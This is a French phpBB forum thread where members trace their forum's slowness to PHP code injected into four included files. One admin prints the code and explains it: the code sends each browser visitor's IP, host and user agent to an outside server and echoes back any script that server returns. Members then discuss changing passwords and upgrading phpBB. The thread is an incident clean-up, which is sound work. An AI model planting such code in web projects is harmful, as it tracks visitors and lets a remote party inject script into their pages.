BwataGants.fr

BwataGants.fr

Ecurie RedFace and friends
 
Nous sommes actuellement le 28 Mars 2024 22:31

Les heures sont au format UTC + 1 heure [ Heure d’été ]




Publier un nouveau sujet Répondre au sujet  [ 54 messages ]  Aller vers la page Précédent  1, 2
Auteur Message
 Sujet du message: Re: lenteur forum
MessagePublié: 18 Jan 2019 22:30 
Hors-ligne
chandelle d'or de l'année 2017

Inscrit le: 05 Juil 2011 07:23
Messages: 8440
Ici ou sur la copie ?
J'ai pas touché à la config ici


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 18 Jan 2019 23:09 
Hors-ligne

Inscrit le: 18 Juil 2011 09:55
Messages: 13950
Localisation: SQY
Oui
c'était ça avant :
search.php?search_id=active_topics

ne fonctionne plus (et le lien n'est plus affiché à côté de "index du forum"


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 18 Jan 2019 23:28 
Hors-ligne
chandelle d'or de l'année 2017

Inscrit le: 05 Juil 2011 07:23
Messages: 8440
Ok, je vais regarder.

Bon, etant donné que chez scaleway c'est quand meme assez pratique et pas très cher j'ai re-remonté encore une nouvelle copie, un peu plus propre.
Les images uploadées fonctionnent, et on est sur un serveur dédié avec 4 CPU x86 et 8 Go de RAM, ce qui est 10* trop pour un forum avec une SGBD de 100Mo.

http://51.158.75.52/forum

Mais comme vous pourrez le constater, c'est toujours la merde. C'est clairement pas un problème de ressource, le serveur ne fait rien, mais je voulais m'enlever le fait que ce ne soit pas lié à la "petite" config ARM qu'il y avait avant.

Par contre j'ai la possibilité de faire des snapshots et des images, donc je vais m'en servir, je vais continuer de bricoler afin d'identifier d'où pourrait venir le soucis, mais c'est clairement pas un pbm de ressource, le serveur ne fait rien.


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 18 Jan 2019 23:38 
Hors-ligne
chandelle d'or de l'année 2017

Inscrit le: 05 Juil 2011 07:23
Messages: 8440
Pour les messages non lus, c'est revenu. J'avais en effet désactivé complètement la recherche pour voir si cela provenait de là.


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 00:03 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:59
Messages: 15200
Merci Joël pour les recherches car bon ça vire à l’arrachage de cheveux.
Ça vient des rehost d’image ou lien vers des sites ?


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 00:05 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:43
Messages: 14842
Localisation: 2-8 dans ton tracteur
Tu as un peu poussé lenTS côté mysql, genre un mysqldumpslow et autre slow query log ?

_________________
John Johnson


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 00:48 
Hors-ligne
chandelle d'or de l'année 2017

Inscrit le: 05 Juil 2011 07:23
Messages: 8440
C'est bon, le forum est réparé.

Rien a voir avec la partie mysql.

On avait 4 fichiers qui étaient inclus dans toutes les pages qui avaient un morceau de code malveillant
Pour le trouver, je me suis tapé le fichier index.php et j'ai fait du reverse en commentant petit a petit et en voyant a partir de quel moment ça allait vite et j'ai finalement trouvé.
Puis j'ai fait un grep sur le curl dans toutes les sources et j'ai trouvé les fichiers contaminés.
Code:
$wp_fw8676 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_fw8676) && !preg_match ('/bot/i', $wp_fw8676))){
$wp_fw098676="http://"."http"."form".".com/form"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_fw8676);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_fw098676);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_8676fw = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_8676fw,1,3) === 'scr' ){ echo $wp_8676fw; }


Grosso modo, a chaque appel de page, ça allait faire un curl (donc faire un autre appel http) a un autre webserver qui semble etre visiblement http://http.form.com/ en lui passant en parametre notre adresse ip, l'adresse ip du serveur Bref ça allait logger toutes nos connexions sur ce serveur. avec un timeout de 6 secondes.

Visiblement, depuis le 10 Janvier, le serveur form.com ne réponds plus et tu coup le curl était en timeout, et donc prennait 6 secondes avant de répondre. D'ou la lenteur.

PUTAIN

Bon, j'ai checké le forum a été installé en 2013, ce sont les seuls fichiers modifiés en 2014.

bref, je suis content d'avoir trouvé, mais ça me saoule un peu qu'on soit passé a cote dé cela pendant autant de temps (bon y a pas d'impact derrière mais quand meme). Je pense qu'il faut qu'on maintiennent un peu plus a jour le forum. Ce que je vous propose :

- Basculer sur un serveur dédié chez scaleway, pas un gros mais les petits ARM à 3 euros par mois, ce qui nous permet d'avoir complètement la main sur la machine
- en profiter pour se créer des serveurs de "dev" assez facilement sur scaleway (c'est deux clics)
- migrer dans les dernières version de phpbb et sécuriser les mots de passe

Qu'en pensez vous ?


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 09:12 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:59
Messages: 15200
MERCI JOEL !
C'est bien plus agréable.

je suis d'accord pour ta solution.


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 10:54 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:43
Messages: 14842
Localisation: 2-8 dans ton tracteur
Bravo pour le reverse.

Oui là clairement les mdp peuvent être considérés compromis, donc tout le monde doit le changer et si vous l’utilisez ailleurs avec le même login/mail que sur le forum, faut le changer partout.

Il me semble que la branche de phpbb sur laquelle on est n’est plus maintenue, non ?

_________________
John Johnson


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 11:18 
Hors-ligne

Inscrit le: 18 Juil 2011 09:55
Messages: 13950
Localisation: SQY
GG.
Ça change la vie :D


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 11:22 
Hors-ligne
chandelle d'or de l'année 2017

Inscrit le: 05 Juil 2011 07:23
Messages: 8440
Alors j'ai bien regardé, il y a vraiment juste ces parties qui ont été modifées, je parlais plus des mot de passe ftp.
Dans les parties de code concerné, il n'y a pas les mdp qui transitent, mais tu as raison, par mesure de sécurité il vaut mieux en changer

Oui on est en phpbb 3.0 et pas sur la dernière version de cette branche aujourd'hui on est en 3.2.5, sauf que pour migrer en 3.2 il faut d'abord migrer en 3.1

M'occuperai dejà de la bascule sur l'environnement dédié dans la semaine


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 11:34 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:43
Messages: 14842
Localisation: 2-8 dans ton tracteur
Ce qui est bizarre c’est que form.com c’est une plateforme d’audit, de traçabilité clients et tout ce genre de trucs. Donc pas vraiment un truc de haxxor.
Ça pourrait pas genre être overfred qui aurait fait un test en 2014 et oublié de le virer ?

_________________
John Johnson


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 11:44 
Hors-ligne
chandelle d'or de l'année 2017

Inscrit le: 05 Juil 2011 07:23
Messages: 8440
Alors en fait le curl qui était fait, c'était sur http://httpform.com pardon


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 11:52 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:43
Messages: 14842
Localisation: 2-8 dans ton tracteur
Ah oui j’avais raté le double point entre form et com

_________________
John Johnson


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 19 Jan 2019 21:07 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 11 Juil 2011 23:22
Messages: 7072
Ça change la vie, bravo Joël !


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 15:12 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 27 Juil 2011 10:31
Messages: 1783
Localisation: Mons.be
Joël for president :petrus:

_________________
Kapette :volta2:


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 15:16 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 07 Nov 2013 10:56
Messages: 2351
Localisation: 74 - Vacheresse
Yes merci c’est bien plus agréable !!


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 16:08 
Hors-ligne
Chandelle d'or 2014
Avatar de l’utilisateur

Inscrit le: 04 Juil 2011 16:52
Messages: 8219
Localisation: Paysannie parisienne
GG Joel. Et merci pour le boulot !

_________________
Flickr


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 16:50 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 07 Août 2011 11:33
Messages: 3176
Merci Joël !


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 18:17 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 03 Juil 2011 12:27
Messages: 12413
Localisation: Paysannie toulousaine
Joël est bô.

_________________
Merci nature d'être là, super sympa.


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 19:19 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 12 Oct 2011 12:05
Messages: 2863
Localisation: Montrouge
Si Joël faisait du tennis, on l'appellerait Roger.
Mais comme il fait du golf, on peut l'appeler Tiger.

Bref, bravo et merci.

_________________
Afraid to lose control / And caught up in this world
I've wasted time, I've wasted breath / I think I've thought myself to death


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 19:59 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 05 Juil 2011 09:59
Messages: 15200
Joel est grand !
:o


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 20 Jan 2019 22:26 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 02 Sep 2011 08:06
Messages: 2469
Attendez de recevoir sa facture avant de trop vous avancer :o



Merci Joël :volta2:


Haut
 Profil  
 
 Sujet du message: Re: lenteur forum
MessagePublié: 21 Jan 2019 09:49 
Hors-ligne
Avatar de l’utilisateur

Inscrit le: 27 Mai 2013 09:39
Messages: 1440
Cette vivesse du forum :love:
Bien joué jojo


Haut
 Profil  
 
Afficher les messages publiés depuis:  Trier par  
Publier un nouveau sujet Répondre au sujet  [ 54 messages ]  Aller vers la page Précédent  1, 2

Les heures sont au format UTC + 1 heure [ Heure d’été ]


Qui est en ligne ?

Utilisateur(s) parcourant ce forum : Aucun utilisateur inscrit and 23 invités


Vous ne pouvez pas publier de nouveaux sujets dans ce forum
Vous ne pouvez pas répondre aux sujets dans ce forum
Vous ne pouvez pas éditer vos messages dans ce forum
Vous ne pouvez pas supprimer vos messages dans ce forum
Vous ne pouvez pas insérer de pièces jointes dans ce forum

Recherche de:
Aller vers:  
cron
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Template made by TBF Photoshop Forum
Traduction réalisée par Maël Soucaze © 2010 phpBB.fr